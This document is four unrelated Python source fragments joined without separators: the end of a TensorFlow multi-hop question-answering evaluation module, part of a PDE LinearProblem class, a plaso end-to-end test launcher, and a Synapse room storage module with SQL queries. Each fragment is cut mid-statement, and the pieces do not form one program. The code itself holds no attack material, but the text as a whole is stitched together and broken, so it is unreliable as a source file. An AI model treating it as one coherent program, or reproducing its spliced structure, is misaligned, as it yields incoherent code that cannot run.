"entity_%d" % hop: result["entity_%d" % hop], "sparse_scores_%d" % hop: result["sparse_scores_%d" % hop], "dense_scores_%d" % hop: result["dense_scores_%d" % hop], "mention_scores_%d" % hop: result["mention_scores_%d" % hop], "entity_scores_%d" % hop: result["entity_scores_%d" % hop], }) chain2stats[inf_chain[qas_id]][1] += 1 all_predictions[qas_id] = name_map[str(prediction)] accuracy = num_correct / len(all_predictions) json.dump(all_predictions, tf.gfile.Open(output_prediction_file, "w")) json.dump( random.sample(incorrect_results, 100), tf.gfile.Open(output_prediction_file + ".incorrect", "w"), cls=NumpyEncoder) json.dump( random.sample(correct_results, 100), tf.gfile.Open(output_prediction_file + ".correct", "w"), cls=NumpyEncoder) # Return metrics. metrics = { "accuracy": accuracy, } for ch, stats in chain2stats.items(): metrics["inference-chains-acc/" + ch] = stats[0] / stats[1] return metrics def multihop_eval_fn(dataset, results, name_map, output_prediction_file, supervision="mention", **kwargs): """Compute evaluation metrics for OneHopDataset or TwoHopDataset. Args: dataset: An object of type OneHopDataset. results: A list of result dicts from running estimator.predict. name_map: A mapping from prediction indices to text strings. output_prediction_file: File to store predictions to. supervision: Type of supervision used in the model. **kwargs: Variable keyword arguments. Returns: metrics: A dict mapping metric names to values. """ del kwargs # Collect ground truth answers. gt_mentions = {ex.qas_id: ex.answer_mention[0] for ex in dataset.examples} if supervision == "mention": gt_answer = gt_mentions else: gt_answer = {ex.qas_id: ex.answer_entity[0] for ex in dataset.examples} # Compute basic metrics. num_correct = 0. all_predictions = {} for result in results: qas_id = result["qas_ids"] prediction = result["predictions"] if prediction == gt_answer[qas_id]: num_correct += 1 all_predictions[qas_id] = name_map[str(prediction)] accuracy = num_correct / len(all_predictions) # Compute advanced metrics. json.dump(all_predictions, tf.gfile.Open(output_prediction_file, "w")) micro, macro, _, _ = compute_scores(dataset.gt_file, output_prediction_file) # Return metrics. metrics = { "accuracy": accuracy, "micro-p": micro[0], "micro-r": micro[1], "micro-f": micro[2], "macro-p": macro[0], "macro-r": macro[1], "macro-f": macro[2], } return metrics def hotpot_eval_fn(dataset, results, name_map, output_prediction_file, **kwargs): """Compute evaluation metrics for HotpotQADataset. Args: dataset: An object of type HotpotQADataset. results: A list of result dicts from running estimator.predict. name_map: A mapping from prediction indices to text strings. output_prediction_file: File to store predictions to. **kwargs: Variable keyword arguments. Returns: metrics: A dict mapping metric names to values. """ del kwargs # Collect ground truth answers. gt_answer = {ex.qas_id: ex.answer_entity for ex in dataset.examples} gt_types = {ex.qas_id: ex.inference_chain for ex in dataset.examples} # Compute basic metrics. num_correct = {2: 0., 5: 0., 10: 0., 20: 0.} aps = [] no_answer = 0. all_predictions = {} bridge_acc, comp_acc = 0., 0. bridge_tot, comp_tot = 0, 0 single_acc = 0. layer_weights = np.zeros_like(results[0]["layer_probs"]) num_layer_entities = {i: 0. for i in range(layer_weights.shape[0])} num_new_entities = {i: 0. for i in range(layer_weights.shape[0])} for result in results: qas_id = result["qas_ids"].decode("utf-8") preds = result["top_idx"] scores = result["top_vals"] ans = gt_answer[qas_id] my_type = gt_types[qas_id] if my_type == "bridge": bridge_tot += 1 else: comp_tot += 1 ranks = np.where(np.in1d(preds, ans))[0] ranks = np.sort(ranks) ap = 0. cnt = 0. if any(rr < 10 for rr in ranks): single_acc += 1 if ranks.shape[0] == 0: no_answer += 1 for rr in ranks: cnt += 1 ap += cnt / (rr + 1) if ans: aps.append(ap / len(ans)) else: aps.append(0.) found = False for key in [2, 5, 10, 20]: if found or np.in1d(ans, preds[:key]).all(): num_correct[key] += 1 found = True if key == 10: if my_type == "bridge": bridge_acc += 1 else: comp_acc += 1 # Non-accuracy stats layer_weights += result["layer_probs"] layer_entities = {i: set() for i in range(layer_weights.shape[0])} all_predictions[qas_id] = {} for i in range(layer_weights.shape[0]): layer_entities[i] = set( [ee for ee in result["layer_%d_ent" % i] if ee != -1]) num_layer_entities[i] += len(layer_entities[i]) num_new_entities[i] += len(layer_entities[i] - layer_entities[0]) # all_predictions[qas_id]["layer_%d" % i] = [ # name_map[str(ee)] for ee in layer_entities[i]] all_predictions[qas_id]["predictions"] = [ (name_map[str(pred)], str(scores[i])) for i, pred in enumerate(preds) ] tf.logging.info("Evaluated %d items", len(all_predictions)) accuracy = { key: (num_correct[key] / len(all_predictions)) for key in num_correct } # Compute advanced metrics. json.dump(all_predictions, tf.gfile.Open(output_prediction_file, "w")) # Return metrics. metrics = {"eval/@%d" % key: accuracy[key] for key in accuracy} metrics["accuracy"] = accuracy[10] metrics["eval/map"] = sum(aps) / len(all_predictions) metrics["eval/bridge_accuracy"] = bridge_acc / bridge_tot metrics["eval/comparison_accuracy"] = comp_acc / comp_tot metrics["analysis/single_accuracy"] = single_acc / len(all_predictions) metrics["analysis/no_answers"] = no_answer / len(all_predictions) for i in range(layer_weights.shape[0]): metrics["analysis/layer_weight_%d" % i] = layer_weights[i] / len(all_predictions) metrics["analysis/num_entities_%d" % i] = num_layer_entities[i] / len(all_predictions) metrics["analysis/num_new_entities_%d" % i] = num_new_entities[i] / len(all_predictions) return metrics def normalize_answer(s): """Lower text and remove punctuation, articles and extra whitespace.""" def remove_articles(text): return re.sub(r"\b(a|an|the)\b", " ", text) def white_space_fix(text): return " ".join(text.split()) def remove_punc(text): exclude = set(string.punctuation) return "".join(ch for ch in text if ch not in exclude) def lower(text): return text.lower() return white_space_fix(remove_articles(remove_punc(lower(s)))) def f1_score(prediction, ground_truth): """Compute F1 score.""" prediction_tokens = normalize_answer(prediction).split() ground_truth_tokens = normalize_answer(ground_truth).split() common = collections.Counter(prediction_tokens) & collections.Counter( ground_truth_tokens) num_same = sum(common.values()) if num_same == 0: return 0 precision = 1.0 * num_same / len(prediction_tokens) recall = 1.0 * num_same / len(ground_truth_tokens) f1 = (2 * precision * recall) / (precision + recall) return f1 def exact_match_score(prediction, ground_truth): """Compute EM score.""" return normalize_answer(prediction) == normalize_answer(ground_truth) def metric_max_over_ground_truths(metric_fn, prediction, ground_truths): scores_for_ground_truths = [] for ground_truth in ground_truths: my_score = metric_fn(prediction, ground_truth) scores_for_ground_truths.append(my_score) return max(scores_for_ground_truths) def read_predictions(prediction_file): with tf.gfile.Open(prediction_file) as f: predictions = json.load(f) return predictions def read_answers(gold_file): """Read ground truth answers.""" answers = {} f = tf.gfile.Open(gold_file) if gold_file.endswith(".gz"): f = gzip.GzipFile(fileobj=f) for i, line in enumerate(f): example = json.loads(line) if i == 0 and "header" in example: continue for qa in
the coefficient has given shape. If no appropriate numbers could be identified, ``None`` is returned :rtype: ``tuple`` of two ``int`` values or ``None`` """ dim=domain.getDim() if len(shape)>0: num=max(shape)+1 else: num=1 search=[] if self.definesNumEquation() and self.definesNumSolutions(): for u in range(num): for e in range(num): search.append((e,u)) search.sort(key=lambda x: -(x[0]+x[1])) for item in search: s=self.getShape(domain,item[0],item[1]) if len(s)==0 and len(shape)==0: return (1,1) else: if s==shape: return item elif self.definesNumEquation(): for e in range(num,0,-1): s=self.getShape(domain,e,0) if len(s)==0 and len(shape)==0: return (1,None) else: if s==shape: return (e,None) elif self.definesNumSolutions(): for u in range(num,0,-1): s=self.getShape(domain,0,u) if len(s)==0 and len(shape)==0: return (None,1) else: if s==shape: return (None,u) return None def definesNumSolutions(self): """ Checks if the coefficient allows to estimate the number of solution components. :return: True if the coefficient allows an estimate of the number of solution components, False otherwise :rtype: ``bool`` """ for i in self.pattern: if i==self.BY_SOLUTION: return True return False def definesNumEquation(self): """ Checks if the coefficient allows to estimate the number of equations. :return: True if the coefficient allows an estimate of the number of equations, False otherwise :rtype: ``bool`` """ for i in self.pattern: if i==self.BY_EQUATION: return True return False def __CompTuple2(self,t1,t2): """ Compares two tuples of possible number of equations and number of solutions. :param t1: the first tuple :param t2: the second tuple :return: 0, 1, or -1 """ dif=t1[0]+t1[1]-(t2[0]+t2[1]) if dif<0: return 1 elif dif>0: return -1 else: return 0 def getShape(self,domain,numEquations=1,numSolutions=1): """ Builds the required shape of the coefficient. :param domain: domain on which the PDE uses the coefficient :type domain: `Domain` :param numEquations: number of equations of the PDE :type numEquations: ``int`` :param numSolutions: number of components of the PDE solution :type numSolutions: ``int`` :return: shape of the coefficient :rtype: ``tuple`` of ``int`` values """ dim=domain.getDim() s=() for i in self.pattern: if i==self.BY_EQUATION: if numEquations>1: s=s+(numEquations,) elif i==self.BY_SOLUTION: if numSolutions>1: s=s+(numSolutions,) else: s=s+(dim,) return s #==================================================================================================================== class LinearProblem(object): """ This is the base class to define a general linear PDE-type problem for for an unknown function *u* on a given domain defined through a `Domain` object. The problem can be given as a single equation or as a system of equations. The class assumes that some sort of assembling process is required to form a problem of the form *L u=f* where *L* is an operator and *f* is the right hand side. This operator problem will be solved to get the unknown *u*. """ def __init__(self,domain,numEquations=None,numSolutions=None,isComplex=False,debug=False): """ Initializes a linear problem. :param domain: domain of the PDE :type domain: `Domain` :param numEquations: number of equations. If ``None`` the number of equations is extracted from the coefficients. :param numSolutions: number of solution components. If ``None`` the number of solution components is extracted from the coefficients. :param isComplex: if True this problem will have complex coefficients and a complex-valued result. :param debug: if True debug information is printed """ super(LinearProblem, self).__init__() self.__complex=isComplex self.__debug=debug self.__domain=domain self.domainSupportsAssemblers = hasattr(domain, "createAssembler") self.assembler = None if self.domainSupportsAssemblers: options=[] if isComplex: options=[('dummy', escore.Data(0.j))] self.assembler = domain.createAssembler("DefaultAssembler", options) self.__numEquations=numEquations self.__numSolutions=numSolutions self.__preservePreconditioner=False self.__altered_coefficients=False self.__reduce_equation_order=False self.__reduce_solution_order=False self.__sym=False self.__herm=False self.__is_RHS_valid=False self.__is_operator_valid=False self.__COEFFICIENTS={} self.__solution_rtol=1.e99 self.__solution_atol=1.e99 self.setSolverOptions() self.setSymmetryOff() # Set on lumping if we are using Speckley if domain.getDescription() == 'speckley::Rectangle' or domain.getDescription() == 'speckley::Brick': self.getSolverOptions().setSolverMethod(SolverOptions.LUMPING) # set number of equations in trilinos self.getSolverOptions().setTrilinosParameter("number of equations", numEquations) # initialize things: self.resetAllCoefficients() self.initializeSystem() # ========================================================================== # general stuff: # ========================================================================== def __str__(self): """ Returns a string representation of the PDE. :return: a simple representation of the PDE :rtype: ``str`` """ return "<LinearProblem %d>"%id(self) # ========================================================================== # debug : # ========================================================================== def setDebugOn(self): """ Switches debug output on. """ self.__debug=not None def setDebugOff(self): """ Switches debug output off. """ self.__debug=None def setDebug(self, flag): """ Switches debug output on if ``flag`` is True otherwise it is switched off. :param flag: desired debug status :type flag: ``bool`` """ if flag: self.setDebugOn() else: self.setDebugOff() def trace(self,text): """ Prints the text message if debug mode is switched on. :param text: message to be printed :type text: ``string`` """ if self.__debug: print(("%s: %s"%(str(self),text))) # ========================================================================== # some service functions: # ========================================================================== def introduceCoefficients(self,**coeff): """ Introduces new coefficients into the problem. Use: p.introduceCoefficients(A=PDECoef(...), B=PDECoef(...)) to introduce the coefficients *A* and *B*. """ for name, type in sorted(coeff.items(), key=lambda x: x[0]): if not isinstance(type,PDECoef): raise ValueError("coefficient %s has no type."%name) self.__COEFFICIENTS[name]=type self.__COEFFICIENTS[name].resetValue() self.trace("coefficient %s has been introduced."%name) def resetRightHandSideCoefficients(self): """ Resets all coefficients defining the right hand side """ for name in self.__COEFFICIENTS: if self.__COEFFICIENTS[name].altering == PDECoef.RIGHTHANDSIDE : self.__COEFFICIENTS[name].resetValue() self.trace("coefficient %s has been reset."%name) def getDomain(self): """ Returns the domain of the PDE. :return: the domain of the PDE :rtype: `Domain` """ return self.__domain def getDomainStatus(self): """ Return the status indicator of the domain """ return self.getDomain().getStatus() def getSystemStatus(self): """ Return the domain status used to build the current system """ return self.__system_status def setSystemStatus(self,status=None): """ Sets the system status to ``status`` if ``status`` is not present the current status of the domain is used. """ if status is None: self.__system_status=self.getDomainStatus() else: self.__system_status=status def getDim(self): """ Returns the spatial dimension of the PDE. :return: the spatial dimension of the PDE domain :rtype: ``int`` """ return self.getDomain().getDim() def getNumEquations(self): """ Returns the number of equations. :return: the number of equations :rtype: ``int`` :raise UndefinedPDEError: if the number of equations is not specified yet """ if self.__numEquations is None: if self.__numSolutions is None: raise UndefinedPDEError("Number of equations is undefined. Please specify argument numEquations.") else: self.__numEquations=self.__numSolutions self.getSolverOptions().setTrilinosParameter("number of equations", self.__numEquations) return self.__numEquations def getNumSolutions(self): """ Returns the number of unknowns. :return: the number of unknowns :rtype: ``int`` :raise UndefinedPDEError: if the number of unknowns is not specified yet """ if self.__numSolutions is None: if self.__numEquations is None: raise UndefinedPDEError("Number of solution is undefined. Please specify argument numSolutions.") else: self.__numSolutions=self.__numEquations return self.__numSolutions def reduceEquationOrder(self): """ Returns the status of order reduction for the equation. :return: True if reduced interpolation order is used for the representation of the equation, False otherwise :rtype: `bool` """ return self.__reduce_equation_order def reduceSolutionOrder(self): """ Returns the status of order reduction for the solution. :return: True if reduced interpolation order is used for the representation of the solution, False otherwise :rtype: `bool` """ return self.__reduce_solution_order def getFunctionSpaceForEquation(self): """ Returns the `FunctionSpace` used to discretize the equation. :return: representation space of equation :rtype: `FunctionSpace` """ if self.reduceEquationOrder(): return escore.ReducedSolution(self.getDomain()) else: return escore.Solution(self.getDomain()) def getFunctionSpaceForSolution(self): """ Returns the `FunctionSpace` used to represent the solution. :return: representation space of solution :rtype: `FunctionSpace` """ if self.reduceSolutionOrder(): return escore.ReducedSolution(self.getDomain()) else: return escore.Solution(self.getDomain()) # ========================================================================== # solver settings: # ========================================================================== def setSolverOptions(self,options=None): """ Sets the solver options. :param options: the new solver options. If equal ``None``, the solver options are set to the default. :type options: `SolverOptions` or ``None`` :note: The symmetry flag of options is overwritten by the symmetry flag of the `LinearProblem`. """ if options is None: self.__solver_options=SolverBuddy() elif isinstance(options, SolverBuddy): self.__solver_options=options else: raise ValueError("options must be a SolverOptions object.") self.__solver_options.setComplex(self.isComplex()) self.__solver_options.setSymmetry(self.__sym) self.__solver_options.setHermitian(self.__herm) self.__solver_options.setDim(self.getDim()) def getSolverOptions(self): """ Returns the solver options :rtype: `SolverOptions` """ self.__solver_options.setSymmetry(self.__sym) return self.__solver_options def isUsingLumping(self): """ Checks if matrix lumping is the current solver method. :return: True if the current solver method is lumping :rtype: ``bool`` """ return self.getSolverOptions().getSolverMethod() in [ SolverOptions.ROWSUM_LUMPING, SolverOptions.HRZ_LUMPING ] def isComplex(self): """ Returns true if this is a complex-valued LinearProblem, false if real-valued. :rtype: ``bool`` """ return self.__complex def shouldPreservePreconditioner(self): """ Returns true if the preconditioner / factorisation should be kept even when resetting the operator. :rtype: ``bool`` """ return self.__preservePreconditioner def preservePreconditioner(self, preserve = True): """ Notifies the PDE that the preconditioner should not be reset when making changes to the operator. Building the preconditioner data can be quite expensive (e.g. for multigrid methods) so if it is known that changes to the operator are going to be minor calling this method can speed up successive PDE solves. :note: Not all operator types support this. :param
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # pylint: disable=invalid-name """End-to-end test launcher.""" from __future__ import print_function from __future__ import unicode_literals import abc import argparse import difflib import logging import os import shutil import subprocess import sys import tempfile try: import ConfigParser as configparser except ImportError: import configparser # pylint: disable=import-error if sys.version_info[0] < 3: PY2 = True PY3 = False BYTES_TYPE = str else: PY2 = False PY3 = True BYTES_TYPE = bytes # Since os.path.abspath() uses the current working directory (cwd) # os.path.abspath(__file__) will point to a different location if # cwd has been changed. Hence we preserve the absolute location of __file__. __file__ = os.path.abspath(__file__) class TempDirectory(object): """Temporary directory.""" def __init__(self): """Initializes a temporary directory.""" super(TempDirectory, self).__init__() self.name = '' def __enter__(self): """Make this work with the 'with' statement.""" self.name = tempfile.mkdtemp() return self.name def __exit__(self, exception_type, value, traceback): """Make this work with the 'with' statement.""" shutil.rmtree(self.name, True) class TestCase(object): """Test case interface. The test case defines what aspect of the plaso tools to test. A test definition is used to provide parameters for the test case so it can be easily run on different input files. """ NAME = None def __init__( self, tools_path, test_sources_path, test_references_path, test_results_path, debug_output=False): """Initializes a test case. Args: tools_path (str): path to the plaso tools. test_sources_path (str): path to the test sources. test_references_path (str): path to the test references. test_results_path (str): path to store test results. debug_output (Optional[bool]): True if debug output should be generated. """ super(TestCase, self).__init__() self._debug_output = debug_output self._test_references_path = test_references_path self._test_results_path = test_results_path self._test_sources_path = test_sources_path self._tools_path = tools_path def _RunCommand(self, command, stdout=None, stderr=None): """Runs a command. Args: command (list[str]): full command to run, as expected by the Popen() constructor (see the documentation: https://docs.python.org/2/library/subprocess.html#popen-constructor) stdout (Optional[str]): path to file to send stdout to. stderr (Optional[str]): path to file to send stderr to. Returns: bool: True if the command ran successfully. """ if command[0].endswith('py'): command.insert(0, sys.executable) command_string = ' '.join(command) logging.info('Running: {0:s}'.format(command_string)) child = subprocess.Popen(command, stdout=stdout, stderr=stderr) child.communicate() exit_code = child.returncode if exit_code != 0: logging.error('Running: "{0:s}" failed (exit code {1:d}).'.format( command_string, exit_code)) return False return True # pylint: disable=redundant-returns-doc @abc.abstractmethod def ReadAttributes(self, test_definition_reader, test_definition): """Reads the test definition attributes into to the test definition. Args: test_definition_reader (TestDefinitionReader): test definition reader. test_definition (TestDefinition): test definition. Returns: bool: True if the read was successful. """ # pylint: disable=redundant-returns-doc @abc.abstractmethod def Run(self, test_definition): """Runs the test case with the parameters specified by the test definition. Args: test_definition (TestDefinition): test definition. Returns: bool: True if the test ran successfully. """ class TestCasesManager(object): """Test cases manager.""" _test_case_classes = {} _test_case_objects = {} @classmethod def DeregisterTestCase(cls, test_case_class): """Deregisters a test case class. The test case classes are identified based on their lower case name. Args: test_case_class (type): test case class. Raises: KeyError: if test case class is not set for the corresponding name. """ test_case_name = test_case_class.NAME.lower() if test_case_name not in cls._test_case_classes: raise KeyError( 'Formatter class not set for name: {0:s}.'.format( test_case_class.NAME)) del cls._test_case_classes[test_case_name] @classmethod def GetTestCaseObject( cls, name, tools_path, test_sources_path, test_references_path, test_results_path, debug_output=False): """Retrieves the test case object for a specific name. Args: name (str): name of the test case. tools_path (str): path to the plaso tools. test_sources_path (str): path to the test sources. test_references_path (str): path to the test references. test_results_path (str): path to store test results. debug_output (Optional[bool]): True if debug output should be generated. Returns: TestCase: test case or None if not available. """ name = name.lower() if name not in cls._test_case_objects: test_case_object = None if name in cls._test_case_classes: test_case_class = cls._test_case_classes[name] test_case_object = test_case_class( tools_path, test_sources_path, test_references_path, test_results_path, debug_output=debug_output) if not test_case_object: return None cls._test_case_objects[name] = test_case_object return cls._test_case_objects[name] @classmethod def RegisterTestCase(cls, test_case_class): """Registers a test case class. The test case classes are identified based on their lower case name. Args: test_case_class (type): test case class. Raises: KeyError: if test case class is already set for the corresponding name. """ test_case_name = test_case_class.NAME.lower() if test_case_name in cls._test_case_classes: raise KeyError(( 'Formatter class already set for name: {0:s}.').format( test_case_class.NAME)) cls._test_case_classes[test_case_name] = test_case_class @classmethod def RegisterTestCases(cls, test_case_classes): """Registers test case classes. The test case classes are identified based on their lower case name. Args: test_case_classes (list[type]): test case classes. Raises: KeyError: if test case class is already set for the corresponding name. """ for test_case_class in test_case_classes: cls.RegisterTestCase(test_case_class) class TestDefinition(object): """Test definition. Attributes: case (str): name of test case. name (str): name of the test. """ def __init__(self, name): """Initializes a test definition. Args: name (str): name of the test. """ super(TestDefinition, self).__init__() self.case = '' self.name = name class TestDefinitionReader(object): """Test definition reader. The test definition reader reads tests definitions from a configuration file. """ def __init__( self, tools_path, test_sources_path, test_references_path, test_results_path, debug_output=False): """Initializes a test definition reader. Args: tools_path (str): path to the plaso tools. test_sources_path (str): path to the test sources. test_references_path (str): path to the test references. test_results_path (str): path to store test results. debug_output (Optional[bool]): True if debug output should be generated. """ super(TestDefinitionReader, self).__init__() self._config_parser = None self._debug_output = debug_output self._test_references_path = test_references_path self._test_results_path = test_results_path self._test_sources_path = test_sources_path self._tools_path = tools_path def GetConfigValue( self, section_name, value_name, default=None, split_string=False): """Retrieves a value from the config parser. Args: section_name (str): name of the section that contains the value. value_name (str): the name of the value. default (Optional[object]): default value to return if no value is set in the config parser. split_string (Optional[bool]): if True, the value will be split into a list of strings, suitable for passing to subprocess.Popen(). Returns: object: value or the default if the value does not exist. Raises: RuntimeError: if the configuration parser is not set. """ if not self._config_parser: raise RuntimeError('Missing configuration parser.') try: value = self._config_parser.get(section_name, value_name) except configparser.NoOptionError: value = None if isinstance(value, BYTES_TYPE): value = value.decode('utf-8') if split_string and value: options = [] for flag_and_setting in value.split(' '): if flag_and_setting.find('=') > 0: options.extend(flag_and_setting.split('=')) else: options.append(flag_and_setting) value = options if value is None: value = default return value def Read(self, file_object): """Reads test definitions. Args: file_object (file): a file-like object to read from. Yields: TestDefinition: end-to-end test definition. """ # TODO: replace by: # self._config_parser = configparser.ConfigParser(interpolation=None) self._config_parser = configparser.RawConfigParser() try: self._config_parser.read_file(file_object) for section_name in self._config_parser.sections(): test_definition = TestDefinition(section_name) test_definition.case = self.GetConfigValue(section_name, 'case') if not test_definition.case: logging.warning( 'Test case missing in test definition: {0:s}.'.format( section_name)) continue test_case = TestCasesManager.GetTestCaseObject( test_definition.case, self._tools_path, self._test_sources_path, self._test_references_path, self._test_results_path, debug_output=self._debug_output) if not test_case: logging.warning('Undefined test case: {0:s}'.format( test_definition.case)) continue if not test_case.ReadAttributes(self, test_definition): logging.warning( 'Unable to read attributes of test case: {0:s}'.format( test_definition.case)) continue yield test_definition finally: self._config_parser = None class TestLauncher(object): """Test launcher. The test launcher reads the test definitions from a file, looks up the corresponding test cases in the test case manager and then runs the test case with the parameters specified in the test definition. """ def __init__( self, tools_path, test_sources_path, test_references_path, test_results_path, debug_output=False): """Initializes a test launcher. Args: tools_path (str): path to the plaso tools. test_sources_path (str): path to the test sources. test_references_path (str): path to the test references. test_results_path (str): path to store test results. debug_output (Optional[bool]): True if debug output should be generated. """ super(TestLauncher, self).__init__() self._debug_output = debug_output self._test_definitions = [] self._test_references_path = test_references_path self._test_results_path = test_results_path self._test_sources_path = test_sources_path self._tools_path = tools_path def _RunTest(self, test_definition): """Runs the test. Args: test_definition (TestDefinition): test definition. Returns: bool: True if the test ran successfully. """ test_case = TestCasesManager.GetTestCaseObject( test_definition.case, self._tools_path, self._test_sources_path, self._test_references_path, self._test_results_path) if not test_case: logging.error('Unsupported test case: {0:s}'.format( test_definition.case)) return False return test_case.Run(test_definition) def ReadDefinitions(self, configuration_file): """Reads the test definitions from the configuration file. Args: configuration_file (str): path of the configuration file. """ self._test_definitions = [] with open(configuration_file) as file_object: test_definition_reader = TestDefinitionReader( self._tools_path, self._test_sources_path, self._test_references_path, self._test_results_path) for test_definition in test_definition_reader.Read(file_object): self._test_definitions.append(test_definition) def RunTests(self): """Runs the tests. Returns: list[str]: names of the failed tests. """ # TODO: set up test environment failed_tests = [] for test_definition in self._test_definitions: if not self._RunTest(test_definition): failed_tests.append(test_definition.name) return failed_tests class StorageFileTestCase(TestCase): """Shared functionality for plaso test cases that involve storage
<reponame>cgarwood82/synapse<filename>synapse/storage/data_stores/main/room.py<gh_stars>1-10 # -*- coding: utf-8 -*- # Copyright 2014-2016 OpenMarket Ltd # Copyright 2019 The Matrix.org Foundation C.I.C. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import collections import logging import re from typing import Optional, Tuple from canonicaljson import json from twisted.internet import defer from synapse.api.errors import StoreError from synapse.storage._base import SQLBaseStore from synapse.storage.data_stores.main.search import SearchStore from synapse.types import ThirdPartyInstanceID from synapse.util.caches.descriptors import cached, cachedInlineCallbacks logger = logging.getLogger(__name__) OpsLevel = collections.namedtuple( "OpsLevel", ("ban_level", "kick_level", "redact_level") ) RatelimitOverride = collections.namedtuple( "RatelimitOverride", ("messages_per_second", "burst_count") ) class RoomWorkerStore(SQLBaseStore): def get_room(self, room_id): """Retrieve a room. Args: room_id (str): The ID of the room to retrieve. Returns: A dict containing the room information, or None if the room is unknown. """ return self._simple_select_one( table="rooms", keyvalues={"room_id": room_id}, retcols=("room_id", "is_public", "creator"), desc="get_room", allow_none=True, ) def get_public_room_ids(self): return self._simple_select_onecol( table="rooms", keyvalues={"is_public": True}, retcol="room_id", desc="get_public_room_ids", ) def count_public_rooms(self, network_tuple, ignore_non_federatable): """Counts the number of public rooms as tracked in the room_stats_current and room_stats_state table. Args: network_tuple (ThirdPartyInstanceID|None) ignore_non_federatable (bool): If true filters out non-federatable rooms """ def _count_public_rooms_txn(txn): query_args = [] if network_tuple: if network_tuple.appservice_id: published_sql = """ SELECT room_id from appservice_room_list WHERE appservice_id = ? AND network_id = ? """ query_args.append(network_tuple.appservice_id) query_args.append(network_tuple.network_id) else: published_sql = """ SELECT room_id FROM rooms WHERE is_public """ else: published_sql = """ SELECT room_id FROM rooms WHERE is_public UNION SELECT room_id from appservice_room_list """ sql = """ SELECT COALESCE(COUNT(*), 0) FROM ( %(published_sql)s ) published INNER JOIN room_stats_state USING (room_id) INNER JOIN room_stats_current USING (room_id) WHERE ( join_rules = 'public' OR history_visibility = 'world_readable' ) AND joined_members > 0 """ % { "published_sql": published_sql } txn.execute(sql, query_args) return txn.fetchone()[0] return self.runInteraction("count_public_rooms", _count_public_rooms_txn) @defer.inlineCallbacks def get_largest_public_rooms( self, network_tuple: Optional[ThirdPartyInstanceID], search_filter: Optional[dict], limit: Optional[int], bounds: Optional[Tuple[int, str]], forwards: bool, ignore_non_federatable: bool = False, ): """Gets the largest public rooms (where largest is in terms of joined members, as tracked in the statistics table). Args: network_tuple search_filter limit: Maxmimum number of rows to return, unlimited otherwise. bounds: An uppoer or lower bound to apply to result set if given, consists of a joined member count and room_id (these are excluded from result set). forwards: true iff going forwards, going backwards otherwise ignore_non_federatable: If true filters out non-federatable rooms. Returns: Rooms in order: biggest number of joined users first. We then arbitrarily use the room_id as a tie breaker. """ where_clauses = [] query_args = [] if network_tuple: if network_tuple.appservice_id: published_sql = """ SELECT room_id from appservice_room_list WHERE appservice_id = ? AND network_id = ? """ query_args.append(network_tuple.appservice_id) query_args.append(network_tuple.network_id) else: published_sql = """ SELECT room_id FROM rooms WHERE is_public """ else: published_sql = """ SELECT room_id FROM rooms WHERE is_public UNION SELECT room_id from appservice_room_list """ # Work out the bounds if we're given them, these bounds look slightly # odd, but are designed to help query planner use indices by pulling # out a common bound. if bounds: last_joined_members, last_room_id = bounds if forwards: where_clauses.append( """ joined_members <= ? AND ( joined_members < ? OR room_id < ? ) """ ) else: where_clauses.append( """ joined_members >= ? AND ( joined_members > ? OR room_id > ? ) """ ) query_args += [last_joined_members, last_joined_members, last_room_id] if ignore_non_federatable: where_clauses.append("is_federatable") if search_filter and search_filter.get("generic_search_term", None): search_term = "%" + search_filter["generic_search_term"] + "%" where_clauses.append( """ ( LOWER(name) LIKE ? OR LOWER(topic) LIKE ? OR LOWER(canonical_alias) LIKE ? ) """ ) query_args += [ search_term.lower(), search_term.lower(), search_term.lower(), ] where_clause = "" if where_clauses: where_clause = " AND " + " AND ".join(where_clauses) sql = """ SELECT room_id, name, topic, canonical_alias, joined_members, avatar, history_visibility, joined_members, guest_access FROM ( %(published_sql)s ) published INNER JOIN room_stats_state USING (room_id) INNER JOIN room_stats_current USING (room_id) WHERE ( join_rules = 'public' OR history_visibility = 'world_readable' ) AND joined_members > 0 %(where_clause)s ORDER BY joined_members %(dir)s, room_id %(dir)s """ % { "published_sql": published_sql, "where_clause": where_clause, "dir": "DESC" if forwards else "ASC", } if limit is not None: query_args.append(limit) sql += """ LIMIT ? """ def _get_largest_public_rooms_txn(txn): txn.execute(sql, query_args) results = self.cursor_to_dict(txn) if not forwards: results.reverse() return results ret_val = yield self.runInteraction( "get_largest_public_rooms", _get_largest_public_rooms_txn ) defer.returnValue(ret_val) @cached(max_entries=10000) def is_room_blocked(self, room_id): return self._simple_select_one_onecol( table="blocked_rooms", keyvalues={"room_id": room_id}, retcol="1", allow_none=True, desc="is_room_blocked", ) @cachedInlineCallbacks(max_entries=10000) def get_ratelimit_for_user(self, user_id): """Check if there are any overrides for ratelimiting for the given user Args: user_id (str) Returns: RatelimitOverride if there is an override, else None. If the contents of RatelimitOverride are None or 0 then ratelimitng has been disabled for that user entirely. """ row = yield self._simple_select_one( table="ratelimit_override", keyvalues={"user_id": user_id}, retcols=("messages_per_second", "burst_count"), allow_none=True, desc="get_ratelimit_for_user", ) if row: return RatelimitOverride( messages_per_second=row["messages_per_second"], burst_count=row["burst_count"], ) else: return None class RoomStore(RoomWorkerStore, SearchStore): @defer.inlineCallbacks def store_room(self, room_id, room_creator_user_id, is_public): """Stores a room. Args: room_id (str): The desired room ID, can be None. room_creator_user_id (str): The user ID of the room creator. is_public (bool): True to indicate that this room should appear in public room lists. Raises: StoreError if the room could not be stored. """ try: def store_room_txn(txn, next_id): self._simple_insert_txn( txn, "rooms", { "room_id": room_id, "creator": room_creator_user_id, "is_public": is_public, }, ) if is_public: self._simple_insert_txn( txn, table="public_room_list_stream", values={ "stream_id": next_id, "room_id": room_id, "visibility": is_public, }, ) with self._public_room_id_gen.get_next() as next_id: yield self.runInteraction("store_room_txn", store_room_txn, next_id) except Exception as e: logger.error("store_room with room_id=%s failed: %s", room_id, e) raise StoreError(500, "Problem creating room.") @defer.inlineCallbacks def set_room_is_public(self, room_id, is_public): def set_room_is_public_txn(txn, next_id): self._simple_update_one_txn( txn, table="rooms", keyvalues={"room_id": room_id}, updatevalues={"is_public": is_public}, ) entries = self._simple_select_list_txn( txn, table="public_room_list_stream", keyvalues={ "room_id": room_id, "appservice_id": 